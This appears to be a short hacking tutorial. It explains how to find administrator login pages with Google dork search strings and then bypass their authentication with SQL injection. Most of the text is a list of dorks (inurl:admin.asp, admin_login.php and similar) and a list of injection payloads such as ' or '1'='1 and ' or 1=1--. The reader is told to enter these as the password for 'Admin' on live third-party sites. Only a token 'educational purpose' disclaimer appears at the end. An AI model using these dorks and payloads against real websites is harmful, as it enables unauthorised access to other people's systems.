How to hack a website using Authentication bypass.

Basic sql injection

Gaining authentication bypass on an admin account.
First we need to find a site, start by opening Google.
Now we have to use Google dork:
There is a large number of Google dork for basic sql injection.
here is the best:
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

"inurl: admin.php"
"inurl: login/admin.php"
"inurl: admin/login.php"
"inurl: adminlogin.php"
"inurl: adminhome.php"
"inurl: admin_login.php"
"inurl: administratorlogin.php"
"inurl: login/administrator.php"
"inurl: administrator_login.php"


Now what to do once we get to our site.
the site should look something like this :

welcome to xxxxxxxxxx administrator panel
username :
password :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sql injections

' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'


there are many more but these are the best ones that i know .So your input should look like this

username:Admin
password:'or'1'='1

So click submit and you'r in.
NOTE: All sites are not vulnerable.


Note: Don't use this method for hacking . This article is for educational purpose only.